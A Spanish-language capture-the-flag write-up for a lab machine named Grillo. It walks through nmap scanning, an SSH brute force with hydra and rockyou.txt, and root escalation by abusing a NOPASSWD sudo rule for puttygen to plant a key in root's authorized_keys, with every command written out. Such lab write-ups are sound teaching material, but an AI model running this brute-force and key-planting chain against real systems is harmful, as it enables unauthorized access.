WriteUps Grillo

23 Mar 2024
4 minutos

Progreso del WriteUp#

Reconocimiento inicial#

El primer paso consiste en realizar un escaneo de puertos para identificar los servicios disponibles en la máquina. Esto se puede lograr ejecutando el siguiente comando:

BASH
1
nmap -p- --open -sC -sS -sV --min-rate=5000 -n -vvv -Pn 192.168.1.11

El resultado del escaneo de puertos fue:

BASH
1
2
3
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.57 ((Debian))

Resultado: El escaneo de puertos reveló dos servicios importantes:

  • Puerto 22: Servicio SSH abierto.
  • Puerto 80: Servicio HTTP con Apache abierto.

Fuerza bruta#

Procedí a visitar la dirección IP en el navegador y me encontré con la página predeterminada de Apache. Al inspeccionar el código fuente, encontré un comentario que indicaba un nombre de usuario para SSH (melanie).

Realicé un ataque de fuerza bruta utilizando hydra con el diccionario rockyou.txt para encontrar la contraseña:

BASH
1
hydra -l melanie -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.11 -F

Resultado: Después de un rato, hydra encontró las credenciales para el usuario melanie.

Acceso SSH#

Con las credenciales obtenidas, me conecté al servicio SSH usando el usuario melanie:

BASH
1
ssh melanie@192.168.1.11

Una vez dentro, capturé la primera bandera (user.txt):

BASH
1
cat user.txt

Escalada de privilegios#

Ahora que tenía acceso como melanie, intenté elevar privilegios ejecutando sudo -l y obtuve el siguiente resultado:

BASH
1
2
User melanie may run the following commands on grillo:
    (root) NOPASSWD: /usr/bin/puttygen

Este permiso me permitió ejecutar puttygen como root sin necesidad de una contraseña.

Busqué información en GTFOBinsy también investigué sobre puttygen. La solución fue crear una nueva clave RSA para el usuario melanie y luego utilizarla para acceder como root.

Paso a paso#

  1. Generar una clave RSA:

    BASH
    1
    puttygen -t rsa -b 2048 -O private-openssh -o ~/.ssh/id
    
  2. Añadir la clave al archivo authorized_keys:

    BASH
    1
    puttygen -L ~/.ssh/id >> ~/.ssh/authorized_keys
    
  3. Copiar la clave al usuario root:

    BASH
    1
    2
    sudo puttygen /home/melanie/.ssh/id -o /root/.ssh/id
    sudo puttygen /home/melanie/.ssh/id -o /root/.ssh/authorized_keys -O public-openssh
    
  4. Descargar la clave en mi máquina local:

    BASH
    1
    scp melanie@192.168.1.11:/home/melanie/.ssh/id .
    
  5. Acceder como root utilizando la clave RSA descargada:

    BASH
    1
    ssh -i id root@192.168.1.11
    

Resultado: Con estos pasos, logré conectarme como root y obtener la segunda bandera (root.txt).

Aprendizaje#

La máquina Grillo fue un ejercicio interesante que mostró la importancia de explorar múltiples enfoques, desde la enumeración web hasta la explotación de permisos de sudo. También demostró cómo herramientas de uso común, como puttygen, pueden ser utilizadas de maneras inesperadas para escalar privilegios.

Comandos#

  1. Escaneo de puertos:
    BASH
    1
    nmap -p- --open -sC -sS -sV --min-rate=5000 -n -vvv -Pn 192.168.1.11
    
  2. Ataque de fuerza bruta SSH con hydra:
    BASH
    1
    hydra -l melanie -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.11 -F
    
  3. Conexión SSH:
    BASH
    1
    ssh melanie@192.168.1.11
    
  4. Ver permisos de sudo:
    BASH
    1
    sudo -l
    
  5. Generar clave RSA con puttygen:
    BASH
    1
    puttygen -t rsa -b 2048 -O private-openssh -o ~/.ssh/id
    
  6. Añadir la clave al archivo authorized_keys:
    BASH
    1
    puttygen -L ~/.ssh/id >> ~/.ssh/authorized_keys
    
  7. Copiar la clave al usuario root:
    BASH
    1
    2
    sudo puttygen /home/melanie/.ssh/id -o /root/.ssh/id
    sudo puttygen /home/melanie/.ssh/id -o /root/.ssh/authorized_keys -O public-openssh
    
  8. Descargar la clave RSA:
    BASH
    1
    scp melanie@192.168.1.11:/home/melanie/.ssh/id .
    
  9. Acceder como root:
    BASH
    1
    ssh -i id root@192.168.1.11